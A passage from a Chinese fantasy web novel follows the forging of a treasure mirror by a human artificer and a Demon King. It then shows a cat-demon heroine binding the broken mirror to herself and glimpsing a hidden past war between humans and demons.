灵霄:“” 什么磨爪石!那是能另外开辟时间与空间的天材地宝!能不能对宝物尊重点! 但形势比人强,灵霄昧着良心,点头:“是的,我们人类是这样的,时常会有些怪想法,还想要点您的磨爪石。” 妖王脚步不停:“不给。” 灵霄小跑两步,壮着胆子挡在她面前,认真问:“妖王前辈,晚辈是真心想求些裂磨爪石,有什么条件,您只管开!” 妖王斜睨了她一眼:“本王的条件,你做不到。” 灵霄却很执着:“即便是上刀山下火海,晚辈也做得到!” 她再怎么也是人族第一人,天师堂首席大天师,不管妖王提什么条件,她都能有几分把握的! “果真?” “果真!” 妖王忽然笑了:“那好,你听好了:本王的条件是,你能叫本王高兴,本王就赏你一块磨爪石。” 说完又背着双手溜溜达达的走了。 留灵霄在原地愣了好一会。 让妖王高兴这条件,说难也难,说简单也简单。 难就难在高不高兴全凭妖王自己说了算,简单在灵霄觉得,这位岭山之主似乎比她想象中更好哄一点。 刚刚她不过说了句好话,她就哈哈大笑,想来哄她高兴也不难吧?灵霄这样想道。 不过灵霄还是很严谨的追上去,问妖王:“晚辈要做什么事,才能叫前辈高兴呢?还请前辈不吝指教。” 妖王答曰:“你能跟本王打一架,并且能在本王手下撑过半个时辰,本王就高兴了。” 她没啥别的爱好,平生就爱磨磨爪子,寻些耐磨耐揍的东西,聊以消遣。 所以她从不对弱者动手,没劲。 她揍遍了全妖族,磨爪物也攒了几个,但灵霄这小身板一看就不耐揍。 因此她先前才说她的条件灵霄做不到。 灵霄听完,感觉自尊隐隐作痛。 但是却无法反驳。 因为与妖王面对面时,她才明白自己与她之间的实力鸿沟有多大。 说是蚍蜉撼树也不为过。 就算是把全天师堂的天师,大天师都加起来灵霄猛地摇了摇头,她想歪到哪里去了。 现在人族与妖族虽算不上什么盟友,但好歹也算友邻,怎么可能让全天师堂的天师大天师都来围攻妖王。 更何况,天师堂里也有不少妖族天师。 那些妖族天师一提到自家陛下都打怵,哪敢在妖王面前造次。 所以说她纯属想歪了。 目前她能做的,只有努力提升自己,再辅以法宝,好叫自己的耐揍程度拔高一些。 “前辈!晚辈虽然现在不济,但晚辈会努力的!” 灵霄再次追上妖王:“若是晚辈能有让您尽兴的一天,您能否赐晚辈些许裂空石?” 这回妖王欣然应允:“行啊。” 灵霄精神一震。 自此,她便哪也不去了,专门跟着这位不羁的妖王,绞尽脑汁的琢磨着要跟她过上两招。 光靠法力和修为她不行,但加上法宝呢?她可还是个炼器师! 但事实总让人心酸。 灵霄辛辛苦苦的炼制的各类法宝被打烂了数十个,愣是没有一个能在妖王手下撑过三招的。 她自己就更不用说了。 每次她以为自己有进步了能多扛一招了,但一交手才发现,都是错觉。 她几乎次次都被揍得破破烂烂的。 为什么是几乎呢?因为有时候妖王心情不佳,懒得搭理她,只一掌拍飞她就了事。 这时候灵霄就伤得不重,还能自己爬起来坚强的嗑丹药疗伤。 而遇到妖王兴致不错,身边又暂时没有别的磨爪物时,灵霄就会被揍得不成人形。 得亏她有修为和法宝傍身,妖王又没动真格,这才叫她勉强能捡回小命。 每次都揍得只剩下一口气,灵霄就躺在原地望天,奄奄一息的喊:“前辈劳烦您给晚辈塞颗丹药成吗。” 妖王倒也不拒绝,次次都答应她。 偶尔还蹲在她身边啧啧称奇:“你这小辈,很不错嘛。” 虽然她很不耐揍,但她是真坚强啊。 妖王从没见过这种一次次被打倒,但又能一次次爬起来,并且毫无心理阴影的。 要知道被她揍过的那些大妖,无一不是见到她就开始发抖,跑路都来不及,更别说坚持主动找揍了。 这让妖王对灵霄来了点兴趣。 “你这小家伙天赋倒也有几分,就是修炼得太慢了。” 忽然有一天,妖王对灵霄说道:“你们人族现今的修炼法子,走偏了。” 灵霄愕然。 妖王又道:“在本王的传承记忆里,上古人族大能,可不是像你这样修炼的。” 她兴致一来,竟随口以上古人族大能的修炼法子指点了灵霄两句。 灵霄如获至宝。 她当即翻身起来,照着妖王的指点埋头苦练。 正如妖王所说,灵霄确实是有几分天赋在身上的。 就这么几句随口点拨,灵霄竟真进步了不少! 在下一次再主动找揍时,她便比往常多扛了两招。 这下妖王也乐了,时不时便指点灵霄两句。 在她的有意培养下,灵霄的法力修为突飞猛进,也将妖王视作了亦师亦友的同伴。 妖王对此不置可否,也不说要收灵霄为徒的话,只默许她可以继续跟着自己。 反正她闲来无事,身边有个打不跑的磨爪物,也挺好的。 就这样,灵霄跟随了妖王数年。 数年后,她已靠自己的坚韧与有趣打动了妖王,成功拜在了妖王门下,成了她唯一的徒儿。 裂空石她也终于拿到了。 集齐了宝物的灵霄,在妖王的护卫下,开始炼制至宝。 至宝炼成后,灵霄兴高采烈地把它呈给妖王过目。 “师尊!您看!我们的镇山之宝炼出来了!” 她高兴地向师尊介绍自己的成果:“它熔炼了许多时空属性的宝贝,里面另有一片天地!” “而徒儿将那片空间炼做了无法逃脱的牢笼,能将在外面为非作歹的恶人恶妖一并镇压在里面!” 到时候外面再有难以对付的恶人恶妖,都能用这面八卦镜将其收服,不叫他们再出来作乱。 这样天师堂的嘱咐她就算是完成了。 这面八卦镜,绝对足够留给天师堂做代代相传的镇山之宝了。 妖王嗤了一声。 “这算什么宝贝。” 要她说,整这费力的玩意做什么。 有谁不听话,直接揍死便是,何苦兜这么大个圈子。 灵霄闻言摇头:“不,师尊,像您这样的强者,世间找不出第二个。” 所以她那种简单粗暴的物理超度法没有旁人能用。 那些她随手就能揍死的大妖邪修,放在外面,都是天师们拼上性命也未必能降服的狠角色。 而有了这面八卦镜就不一样了。 即便是法力修为不足以一搏的天师,也能借宝镜将其镇压。 对此,妖王表示不理解,但尊重。 对她而言,这事从头到尾就是小徒儿想给自己炼个小玩具罢了。 至于这玩具究竟有什么用,她并不在乎。 妖王不在乎,灵霄却很在乎。 因为这八卦镜不仅仅是要留给天师堂代代相传的镇山之宝,还是她在师尊的护持与见证下炼出的至宝。 意义非凡。 因此,灵霄执意让妖王也在八卦镜里留了一缕能开启它的气息,还请妖王为其命名。 妖王:“啧,既是镇山之宝,那就叫镇山八卦镜好了。” 灵霄:师尊在某些方面的本事还是那么的算了,徒不言师过。 于是宝镜就叫做镇山八卦镜了。 灵霄还给宝镜设置了开启门槛,以免它将来落入坏人恶妖手中。 她给宝镜设置的门槛倒也简单,就是一串需要提前用秘法刻录进去的咒语。 为了能叫天师堂里的人族天师和妖族天师都能使用宝镜,灵霄还将咒语设置了两份。 一份是天师堂的祖训,一份是由妖王金口玉言,用妖族语言刻录的简洁咒语。 “嗷。” 变回原型的妖王懒洋洋地在徒儿的磨缠下,随口念了个“咒语”。 灵霄听不懂妖族的语言,老实巴交的将这句“嗷”设置成了妖族开启宝镜的咒语。 “好了!现在我们可以把它送回天师堂了!”灵霄终于大功告成,心里的大石头也放下去了。 之后她带着妖王去了人间,一同带着宝镜,回到了天师堂。 天师堂郑重其事的将宝镜收下,从此,堂内天师在遇到顶级恶妖邪修时的伤亡率直线下降。 镇山八卦镜里,也渐渐镇压了无数妖邪。 它不愧自己的名字,果真成了可堪传承的镇山之宝。 但世事难料。 谁也没想到,原本预计要传给后代的镇山之宝,会在那么短的时间内,彻底残破。 听到这里,衔蝉莫名感觉心口有点堵,她问风朔:“师尊,所以后来发生了什么?” 风朔摇摇头:“具体怎么回事,谁也不知道了。” 她只能通过天师堂里的绝密资料,大致了解一些当年的往事。 “后来人族与妖族开战,灵霄与妖王师徒反目,镇山八卦镜,也在她们的交手中被打碎。” 这一段历史天师堂的资料记得十分隐晦不清,只有寥寥数语。 因此当年究竟发生了什么,谁也无从得知了。 “那人族为什么要跟妖族开战?”衔蝉又问。 风朔叹息一声:“据说是资源之争。” 当时天地间灵气不知为何逐年减少,人与妖的修炼也越发的艰难。 难到一定程度的时候,争抢资源就成了必然会发生的事情。 人族与妖族也就此撕破了往日勉强维持的和平,一场持续了数年的大战就此展开。 最终的结局是人族惨胜,以上层几乎全数阵亡的代价,将妖王封印在岭山深处。 没了妖王的妖族群龙无首,很快也被剩下的人族各个击破。 镇山八卦镜,也在那段乱世里不断辗转易主,最后彻底失去了消息。 风朔也没想到,她居然有生之年,还能见到这个传说中的宝贝。 “自灵霄长老战死后,世间再无能修复镇山八卦镜的人。” “所以你想修好它不太可能,但叫它认主,或许还有些办法。” 因为这宝贝当年就刻录了两族气息,妖也一样可以开启它。 不过它早已残破多年,里面镇压的十万妖邪都已经在当年被悉数放出,估计功能也毁得差不多了。 “没关系,它本来的功能我也没指望能用上,能让它继续吸干对手的法力就已经很不错啦!”猫想得很开。 风朔点点头,在记忆里翻找着关于这面八卦镜的信息。 翻着翻着,风朔忽然一顿。 “不对,这面宝镜,似乎没有吸干谁法力修为的能力啊。” 它原本的作用是镇压妖邪,镇压方式是将其吸进镜中的牢笼里再逐渐消磨其法力,而不是将妖邪的法力吸干。 所以它这个吸干法力的功能又是怎么来的? 风朔有些纳闷,拿着八卦镜翻来覆去的琢磨。 幸好她对炼器也略知一二,很快便看出了关窍。 “这宝镜开启时吸干镜中目标的法力不是它本来的作用。” 风朔断定道:“它只是在为自己吸取开启所需的能量。” 也就是说,蝎子妖拿它用了这么些年,其实压根没有真正开启过它。 宝镜残破后,又听到有人念咒唤醒它,奈何镜中能量早已归零,便只好先就近吸取些灵力充能。 而最近的目标,莫过于被镜面照出的人或者妖。 这也是蝎子妖使用它有次数限制的缘故。 因为宝镜本就能量不足,还老被强制念咒唤醒,它便只好努力吸收灵力以待开启了。 只可惜它残破得太厉害,想重新开启所需的灵力多到难以想象。 蝎子妖用了这么些年,愣是没能给它充够开启一次的能量。 至于它能辨毒,那就更简单了,有毒的东西,宝镜吸了没用,便会在镜子背后显出一道红色大叉。 蝎子妖就这么误打误撞的,给宝镜充了不少灵力进去。 风朔仔细查看了一下,发现只要再给宝镜充些灵力进去,就能让它开启一次了。 衔蝉:“咦,那我们不是捡了个大便宜!” 猫心想,等它开启后,她要进去看看里面的空间有多大。 要是够大的话,这岂不是能当随身仓库用?! 妙啊! 猫喜上眉梢。 “是啊。”风朔也有些感慨:“等宝镜开启后,你再将藿麻放进去,看看能不能找到让宝镜认主的关窍。” 在天师堂的绝密档案里记载过,宝镜内是有认主机关的。 这本是为了选拔后辈天才所设下的考验。 若是谁能勘破机关,便能让宝镜认主一世,只要主人还活着,它就只认主人的咒语。 宝镜认主之后,即便旁人念出咒语,它也不会响应。 不过从宝镜诞生开始,就没有谁能勘破灵霄的机关,所以它一直只能靠灵霄的秘法,短暂认主。 天师堂的天师可以在执行镇压任务之前用秘法暂时刻录进自己的气息,在气息消失前,宝镜便只认她的咒语。 衔蝉:“明白了!就是我给它输灵力,输够了就可以去找里面的认主机关,对吧!” 风朔点点头,将八卦镜递给她。 衔蝉当即一掌按在镜子背面的阴阳鱼上,给它输灵力。 八卦镜就像片干旱许久的焦土,将衔蝉输送的灵力全数吸收。 它背面的八卦图案也渐次亮起。 “待八卦图案全数亮起,你再念出咒语,放出藿麻。”风朔叮嘱道。 “但你自己不要冒险进入镜中。宝镜已经破损多年,镜中又是牢笼,你贸然进去,吉凶未卜。” “藿麻是你的本命灵植,它可以做你的眼睛,代替你去寻机关。” “若是发现不对,你马上切断那一截藿麻,不要犹豫!” 衔蝉应了一声:“嗯呐!” 随着衔蝉的努力,第八个卦象也终于颤巍巍的亮起来了。 那一瞬间,衔蝉似乎听到了嗡的一声。 她当机立断,大声喊出了咒语。 “嗷!” 宝镜瞬间开启。 猫的藿麻也呲溜一声从阴阳鱼处钻进了镜中。 随后衔蝉只觉两眼一黑。 “衔蝉!!!” 第77章 见爱徒忽然直挺挺的栽倒在地, 风朔大惊,连忙将她扶住。 这时猫的藿麻还有一半在八卦镜里,另一半在她掌心。 衔蝉就这样捏着半截藿麻, 双眼紧闭, 意识全无。 下一刻,她身上的灵力像是被什么抽走了一样, 眨眼间就没了大半! 这突如其来的变故让风朔又是一惊,反手扣住衔蝉的灵脉, 为她输送灵力。 然而风朔的灵力进到衔蝉的灵脉后犹如泥牛入海,没有掀起任何波澜。 风朔心一沉,继续为衔蝉输灵力,可她都快灵力耗尽了,衔蝉却始终没有反应。 更让风朔感到棘手的是, 衔蝉的灵脉和丹田毫无问题,她检查了几圈,都没查出任何不对的地方。 但要是真没问题的话,衔蝉怎么会忽然昏过去? 而且她输给衔蝉的灵力并没有留存在衔蝉的丹田里,也没有在她的灵脉里。 衔蝉似乎在将藿麻伸进宝镜里的那一瞬间起,就变成了个无知无觉的灵力吞噬天坑。 风朔输给她的灵力都不知道去哪了。 可风朔不敢停下给衔蝉输送灵力的动作。 否则万一爱徒因此彻底散灵了, 她的修行根基就完蛋了! 为了防止那样的事情发生, 风朔只得继续给衔蝉输送灵力。 她自己的灵力耗尽后,又叫来了风妧阿琅, 还吩咐小妖们去衔蝉亲自打理的那块灵植田里薅了许多灵植来备用。 而此时的衔蝉究竟怎么了呢? 她并没有真正意义上的昏过去,只是在宝镜开启的一瞬间,她的意识似乎就被宝镜一起吸了进去。 现在,猫的意识正在宝镜内游荡。 在衔蝉的视角,就是她忽然来到了一片陌生的空间里。 这里的光线很昏暗, 地上散落着不少残破的锁链,空气中还弥漫着浓郁的血腥气。 衔蝉就站在满地的废墟里,抬头去看前方矗立的一柄巨剑。 那把剑约摸有一座塔那么大,剑身上还刻着许多晦涩的符文,并且至少有三分之一的剑身都扎进了地下。 露出地面的剑身和剑柄上则缠绕着数十条同样刻满符文的锁链,锁链的另一头也扎进了地下。 这样的巨剑还不止一柄。 衔蝉仔细数了数,发现这样的巨剑共有七柄。 她有些好奇,走近了去瞧那七柄一看就是用来镇压妖邪的巨剑。 但没看出什么名堂来。 只是在靠近那些巨剑时,她的心里有些不是滋味,颇有苍凉之感。 那感觉并不好受,于是猫遗憾叹气,不再关注这些巨剑,扭头专心去找认主机关。 可她在这一片废墟上翻找许久,也没找到任何疑似机关的东西。 一眼望去,这里面只有那七柄巨剑和满地的废墟,除此之外,什么都没有。 衔蝉只好再度将目光投向巨剑。 这一次,她直接跳到了巨剑的剑柄上,想从高处俯视这片废弃的流放之地。 这一看,还真让衔蝉看出了点什么。 她发现这七把巨剑是按照七星排列的。 她还在剑柄上找到了同样按七星排列的凹陷,只是那本该有东西支撑的凹陷里如今空空如也。 衔蝉想了想,试着往那凹陷里输灵力。 没想到还真有点用。 随着衔蝉灵力的灌注,凹陷渐渐亮起,连带着剑柄上的锁链也跟着亮起了符文。 点亮了一柄剑之后,衔蝉默默地检查了一下自己的灵力储备。 按照她丹田里的灵力储备来看,她似乎只能点亮两柄剑。 可是这里有七柄巨剑。 衔蝉啧了一声,在剑柄上磨了磨爪子。 算啦,能点亮多少算多少吧。 来都来了。 磨完爪子,衔蝉马不停蹄的跑去点亮第二柄巨剑。 神奇的事情发生了,点亮第二柄巨剑后,衔蝉发现自己的灵力居然没有被榨干! 她甚至觉得自己还能再点亮一柄巨剑! 猫乐颠颠的跑去点第三柄剑了,点完发现她的丹田里依然还有灵力可以抽取! 这真是怪事。 在衔蝉的理解里,丹田和灵力就像妖的“电池”,电量是有限的。 平时电量用完后,如果不及时充电(修炼),丹田这块电池就没法再为主人提供电量了。 而修炼也就是把自己的电池容量扩大,这样才能充进更多的电量。 但今天,她已经用了超出自己电池储备的电力了,并且也没有充电,可她居然还没断电! 这时候,如果是换了谨慎的人,就要停下动作,好生检查自己的丹田是不是出问题了。 然而衔蝉在某些方面非常符合自身物种刻板印象,胆肥得很。 她不仅不深究今天的灵力为何好似取之不尽,反而趁机一口气点亮了七柄巨剑。 所有巨剑都被点亮后,衔蝉听到了轰隆一声。 原本扎在地底的剑尖竟缓缓浮出了地面! 它们拖动着锁链不断上浮,发出令猫牙酸的金石撞击声。 待所有巨剑都浮空后,剑尖下的地面忽然裂开,里面哗啦一声,冒出一截截断裂的石柱。 石柱之间也有锁链相连。 猫盯着那些被锁着的石柱,恍然大悟。 这应该就是用来关押妖邪的真正牢笼吧! 只是看样子它们都已经被打烂了,里面关押的妖邪果然也都没了踪影。 衔蝉站在浮空后变得更高了的剑柄上,津津有味的看着巨剑与牢笼之间又亮起了一道道符文。 从她的角度俯看过去,七柄巨剑对应的七星方位正在被符文连接起来。 七星相连后,符文化作光点,在空中组成了八个卦象。 八卦旋转起来,最后竟变成了另一面镜子。 衔蝉看得好奇,下意识伸出了手。 而那面八卦镜竟像是有灵一样,主动飞到了衔蝉手中。 下一秒,衔蝉感觉掌心一痛。 低头一看,她的手掌居然被镜面划出了一道口子,一滴血冒了出来,转眼间又被镜面吸收。 衔蝉:? 她纳闷挠头,正不知为何呢,镜面却忽然一闪,镜中便出现了电影似的画面。 画面并不清晰,“镜头”摇摇晃晃的,什么东西都显得有些模糊。 衔蝉眯起眼睛,把镜子拿远些后,终于看到了一个高糊的人影。 还是个背影。 那背影微微佝偻着,似乎还有些颤抖。 又有一道怒吼声从镜中传来。 “灵霄!!这就是你说的两族共享吗?!” 背影猛地一颤。 “不是的!!师尊!只要师尊!!!” 破音的嘶吼声很快被巨大的爆炸声盖过。 “你们在做什么?!” “我们在做我们该做的事情,灵霄长老。”不知何时冒出来的模糊身影提醒道:“非我族类,其心必异。” 灵霄又惊又怒:“不是说好了由我与妖王谈判,两族共享资源吗?!你们出尔反尔?!” 面目模糊的人摇头:“并非出尔反尔。” 他的声音听上去很得意洋洋:“长老,从一开始,我们就没同意过共享。” “只是您与妖王关系不一般,所以有些事情不能告诉您而已。” “妖族本就势大,要是再叫她们得了那资源,我们还能有立足之地吗?” “只是共享资源而已,又不是哪一族独占,你们到底在谋划什么?!”灵霄怒吼。 “不过为子孙计罢了。”男人笑嘻嘻道:“这种时候,您可不要做人族的叛徒啊。” 说着,他一挥手,便又有许多看不清模样的人影从四面八方冒了出来。 之后便是更加摇晃模糊的混战画面。 虎啸声与人类的吼声交杂在一处,灵霄和妖王的声音也被淹没其中。 衔蝉皱着眉头。 她怎么听着这嘈杂的动静感觉有点耳熟 只是一时之间想不起在哪里听过这样的声音了。 盯着越发模糊的镜面,衔蝉心想,这镜子里显现的,应该就是当年那场终局之战的场景吧。 而这场战斗的结局,衔蝉是知道的。 人类惨胜。 在付出几乎断代的惨烈代价后,妖王被人类联手封印在岭山深处。 此后人族在短暂休养生息后便喘过了气,将群龙无首的妖族彻底撵进了深山老林子里。 只是这过程好像跟人类记载的不太一样。 灵霄似乎并没有背叛自己的师尊。 那妖王为何还如此愤怒? 仅仅是因为人类想独占资源?那这愤怒也不该朝着灵霄去啊?灵霄不是主张共享的吗?而且她不是被瞒着的吗? 由于画面模糊不清,衔蝉只能自己琢磨些有的没的。 镜中画面持续了多久,她就瞎琢磨了多久。 将衔蝉放飞的漫天猜测拉回来的,是镜中画面的戛然而止。 原本模糊但完整的镜面忽然咔嚓一声裂开,一张惊慌失措的脸在镜中放大。 衔蝉大惊失色! ——这张脸,她见过的!! 东坡子洞里,风朔扶着衔蝉的脖子,风妧就不住的往她嘴里塞灵植,为她补充无故消散的灵力。 巨大的猫窝旁边,阿琅,三参,白三姑等妖一脸担心的盯着昏迷的衔蝉,紧张到额头都渗出了冷汗。 这时距离衔蝉昏过去已经两天两夜了。 这两天,大家一直守着她,给她喂灵植,输灵力。 本该大庆三天的宴席,衔蝉缺席了两天。 大家都来问大王去哪了,白三姑等妖怕这时候放出衔蝉无缘无故昏迷的消息会影响山上的士气,只好含糊地说衔蝉闭关去了。 不知情的人和妖就放心了,但知情的东坡子洞一众管理层却悬心了两天。 唯一能让大家稍稍安心的是衔蝉的气息一直挺稳,只是输送给她的灵力一直在消散。 直到昏迷后的第二天下午,衔蝉身上的灵力终于不再逸散。 大家心下一松,以为她终于要醒过来了,但衔蝉却依旧没动静。 在大家的担忧中又过去了小半天。 “————啊!!” 原本还昏得不省猫事的衔蝉忽然像诈尸一样直挺挺的坐了起来! “醒了醒了!衔蝉,你终于醒了!”风妧扶住衔蝉的肩,大力摇晃了两下。 “你现在感觉怎么样!有没有哪里难受?饿不饿!” 大家急忙凑拢过去,对猫嘘寒问暖。 然而衔蝉的表情却有点放空,整个猫看上去都有点愣愣地。 “乖徒,怎么了?”风朔摸了摸衔蝉的脑袋。 衔蝉忽然响亮的嘶了一声。 她一把拉住风朔的手:“师尊!灵霄长老她” 她究竟是怎么死的? “不好了!报告大王!太上皇!二大王!山下出乱子了!平安镇有恶妖入侵!” 衔蝉的话还没问完,就被进来报告消息的胡图打断了。 衔蝉顿时把自己的后半截话咽了回去。 她清了清嗓子,正要说点什么,却被风朔一指头戳回了猫窝里。 “你刚醒,好好休息,山下的事情,自有为师处理。” 风朔给衔蝉掖了掖被子,摸摸她的脑门。 随后她就跟着胡图下山去处理恶妖了,临行前还嘱咐风妧等人照顾好衔蝉,又让衔蝉好好休息,千万别劳心劳力。 衔蝉这会其实脑子还有点昏,闻言便点了点头。 等师尊回来了她再问也行。 正好趁这会工夫捋捋脑子吧,她感觉现在脑子都要炸了。 尤其是在看清灵霄的脸的那一瞬间。 脑子里乱得很的衔蝉变回原型,在被窝里团成一颗蓬松的毛汤圆,咬着尾巴一脸沉思。 “想什么呢?”风妧伸手戳了戳猫脑勺:“眉毛都皱起来了。” 阿琅端来一碗灵气四溢的肉汤:“师姐,你饿不饿?要不要吃点东西?” 三参也扒拉着猫窝边边,举着自己的叶子往衔蝉嘴边塞。 “大王!你吃这个,吃了就会好起来!” 白三姑呼啦一声变回原型,像以前一样伸出宽大的翅膀,跳到猫窝里,把猫拢在羽翼下。 很快阿琅和三参也变回原形跟衔蝉挨在了一处,阿琅还低头给衔蝉舔毛。 在这样熟悉的姿势下,衔蝉的身体和心里都暖了起来。 她呸出尾巴,挨个蹭了蹭大家。 “我没事,大家别担心。” “真的没事了吗?你昏迷了两天哎。” 只有人形,挤不进白三姑翅膀下的风妧遗憾地把手伸了过去,给猫师姐顺毛。 衔蝉在大家的关心下,脑子渐渐清醒过来,心情也逐渐平复。 “怎么就两天过去了,我只在镜子里待了一会哎?”猫舔舔嘴,疑惑。 “你真的昏了两天,而且不知道为什么灵力一直在逸散,我们给你输了很多灵力,但你的丹田还是空的。” 白三姑心疼的给猫叨起一缕头毛,用鸟类的方式给她梳理毛发。 “诶?”衔蝉睁圆了眼睛,一拍爪:“难怪我感觉灵力用不完!” 原来是大家在帮她啊! 她就说嘛,她怎么一口气点亮七柄巨剑都不带累的呢! “什么什么剑?”大家好奇极了。 衔蝉立刻把自己在镜中的见闻跟大家一一分享。 不过关于灵霄的长相,猫一句都没提。 因为这事她也不知道该怎么解释灵霄居然长得跟她铲屎官一模一样! 不知道为什么,衔蝉近乎本能的抗拒去深想这件事。 于是这一茬她也没跟大家说,只说了镜子里发生的事情。 “啊!你说镜中还有另一面八卦镜,它还吸收了你的血?!” 风妧一拍大腿,抓住了重点:“它是不是认你为主了?!” 衔蝉:“我也不知道哇。” 风妧捅咕了她一下:“那你试试不就知道了!” 衔蝉点点头,闭上眼睛,伸爪在空中一扒拉。 下一秒,猫爪上就多了一面小镜子。 而原本的镇山八卦镜则在这面小镜子出现的一瞬间,彻底碎了。 衔蝉:“!!” 猫嗷的一声跳了起来。 “我好像成功了!”这面小镜子好像真的认她为主了! 猫十分激动,猫爪挥来挥去,小八卦镜也随着她的动作在空中飘来飘去。 衔蝉还尝试着像进入镇山八卦镜那样,进到小八卦镜里去。 果不其然,她又成功了。 刚刚还在被窝里跟大家团成一团的猫眨眼间消失不见。 随后噗的一声在床尾出现。 猫爪一动,猫又消失,猫又出现。 大家啧啧称奇。 “这面小八卦镜里,也有另一片独立的空间啊?” 衔蝉兴奋:“好像是的!” 而且这里面没有乱七八糟的剑和锁链和废墟,只有茫茫一片白,里面什么都没有。 猫激动极了:“我们有移动仓库啦!” * 山下,平安镇。 风朔手里捏着一颗妖丹,眼神晦暗不明。 “风大人!这恶妖已经伏诛,咱们镇上已经安全了吧?我们可以出去了吗?” 被风朔安排躲进风府避难的镇上居民们半是激动半是忐忑的问道。 大家再次目睹风大人降妖的英姿,心里都十分激动,但那恶妖小山般的尸体就挡在门口,看得大家心里发毛。 风朔摆摆手:“已经安全了,大家都出来吧。” 听到她的准话,大家这才贴着院墙,从恶妖身边陆续走了出来。 有胆子大的,还伸着脖子垫着脚去看那恶妖。 但很快又被恶妖狰狞的面貌吓得缩回了脖子。 不过有风朔在,百姓们倒也没有很怕。 待大家都各回各家后,风朔看着那颗散发着黑气的妖丹,扶着额头长长的叹了口气。 不久后,一只传讯纸鹤飞上了山。 接到师尊消息的衔蝉还有点懵。 让风妧下山一趟?还要去一趟天都? 衔蝉挠了挠头。 风妧也很懵:“下山就算了,去天都干嘛?” 随后又看衔蝉,问:“师姐,要不咱一起去?” 衔蝉思索了片刻,摇了摇头。 “不行,山上事情多得很,我不能走。” “你先跟师尊去吧,有什么事,咱们纸鹤联系。” 风妧一想,也是这么个理,便也不再多说什么,当即就收拾好行李,往山下去了。 她到山下的时候,风朔也已经收好了东西。 她没有带别的什么,只带了一个被符纸封着的木箱子。 风妧看到那个木箱子,顿时猜到些什么。 ——因为她知道,那箱子里放着的,是林时的脑袋。 “走吧。” 见风妧来了,风朔也不废话,当即招呼她出发。 风妧应了一声,上前给她推轮椅。 路上风妧忍不住好奇,问道:“娘,咱们这是要去干嘛?” 风朔言简意赅:“去风氏。” 风妧一下子来了精神:“咱们要去干翻风氏?!” 王者归来横扫一切什么的,一听就很过瘾啊! 风朔:“不一定,还得去趟天师堂。” 风妧又问:“去天师堂干嘛?” 风朔幽幽叹息。 天师堂那群废物,又死了一堆。 他们倒是死得不冤,岭山封印松动,前去检查封印的几批降妖师都死了。 关键他们还不是被封印里的妖王弄死的,而是被岭山深处的大妖们弄死的。 也就是说,他们连封印的边都没摸着,就死在了半路。 死就死吧,还不知道怎么的,弄得本来避世而居的大妖们纷纷出山,在人间各处肆虐。 平安镇上这个恶妖,就是这么出来的。 风朔有心想撒手不管,但终究又不忍心看那些无辜百姓被恶妖吞吃,只好启程去天都,替那群废物收拾一下残局。 顺便解决一些陈年旧事。 风妧闻言顿了顿:“娘,这些消息你是从哪知道的?” 风朔从怀里掏出一封信递给风妧:“自己看吧。” 风妧低头一看,居然是天都风氏给她发来的消息。 原来他们上次回去之后也没等到风朔现身,就又重新把宝押回了风妧身上。 要不是现在天师堂里事态紧急,他们还想来平安镇直接找风妧呢。 两天前岭山封印再次松动,风氏的人走不开,就只能给风妧寄信,希望她能将风朔劝回去主持大局。 没想到这回倒巧了,信直接寄到了风朔手里。 风妧一目十行的看完信,又将它折好收起来。 既然如此,那就去天都看看吧! 她长这么大,还没去过天都呢。 “可惜师姐师妹不能跟着咱们一起去”风妧小声嘟囔着。 风朔却摇了摇头。 “这次她们不去才好。” 这次事情的起因本来就是与岭山里封印的妖王有关,用脚指头想也知道天都如今对妖有多排斥。 更何况,那地方是天师堂的总堂所在之处,自妖族没落后,那里几乎就成了妖族禁区。 要是有妖行走在天都的街上,不消一刻钟,就会被降妖师们不分青红皂白的拿下。 所以这一次风朔压根没想叫上衔蝉和阿琅。 比起人与妖关系剑拔弩张的天都,衔蝉她们还是留在相对平和的平安镇比较好。 但风朔此去,也并非要继续助长这种两族对立的关系。 她要回去,给她的开山爱徒铺一条路出来。 * 衔蝉很快也从后来的传讯纸鹤里知道了事情的前因后果。 风朔在纸鹤里嘱咐她暂时留在山上好生发展势力,衔蝉深以为然。 猫也觉得,她得先把各方面的实力提升起来,将来要是再发生什么人族和妖族之间的冲突,她才能说话更有分量。 不过看着信上写的最近一次岭山封印松动的时间,衔蝉若有所思。 这个时间是不是有点巧啊? 第78章 两天前。 正好是衔蝉被吸进八卦镜里的时间。 再回想上一次岭山封印松动的时间好像也有点巧合。 那时候她被蛮牛打落崖底, 却意外拜了师,又在师尊的教导下学会了如何正确的使用灵力。 当她学会内视丹田,发现自己内丹有异后, 还做了个稀里糊涂的怪梦。 猫捏着信眉头紧锁, 仔细回忆当时那个怪梦。 那个梦里就有很多嘈杂的声音诶!她想起来了! 当时那些听不清楚的嘈杂背景音,仔细想想, 不就跟在镜中听到的那场战斗的声音很像吗! 还有梦里那双竖瞳! 她被竖瞳锁定的那一瞬间就醒了过来,随后就是一阵地震似的巨响, 后来她才知道,那是岭山封印松动弄出的动静。 所以,两次封印松动,难道跟她都有点关系? 还有灵霄 猫越想脑子越乱。 “大王,现在感觉好些了吗?”白三姑端着一碗鱼汤走了进来。 衔蝉扭头看向她, 问:“三姑,你捡到我的时候,是什么情形啊?” 白三姑笑了笑,将鱼汤放在桌上:“怎么忽然想起问这个?” 猫一脸认真:“因为我现在对我的身世有点好奇了。” 本来猫一直以为自己只是莫名其妙的穿越到了这个世界,但看到灵霄的脸那一瞬间,猫动摇了。 也许, 她并不是莫名其妙的来这个世界的。 白三姑:“大王的身世, 我也并不清楚。” 她捡到猫的时候,她身边什么东西都没有。 孤零零的一个小猫缩成一团躺在荒芜的废墟里几乎与泥土融为一色, 身上的灵息微弱得宛如凡猫。 白三姑喊了她许久也不见她醒来,又担心她饿死,便将她捡回了东坡子洞。 捡回去的猫依旧昏睡,甚至连进食都全靠白三姑硬喂。 这一喂就是二百年。 二百年间,猫长大了不少, 可从没醒过,但也没断气,就这么磕磕绊绊的活了下来。 好奇跑来围观的三参就叫她小傻子猫,还给她起了个诨名叫阿呆。 因为那时候的猫就是呆呆的,每天都像个植物猫一样既不会说话又不会动,只沉睡在一场不知何时才能醒来的大梦里。 衔蝉的猫耳朵冒了出来,抖了两下:“那,当时我身上有没有什么奇怪的东西?” 比如封印什么的? 白三姑摇头:“没有。” 当时的猫连灵息都弱得不像话,要不是白三姑够细心,都要将她认做普通凡猫了。 更别说有什么能证明她身份的东西了。 衔蝉:“好吧。” 看来她身上那个封印果然有用,二百年来都没有过任何动静。 在她坠崖重伤后,封印才被师尊发现。 或许,她能保住一条小命,跟她身上的神秘封印也有点关系。 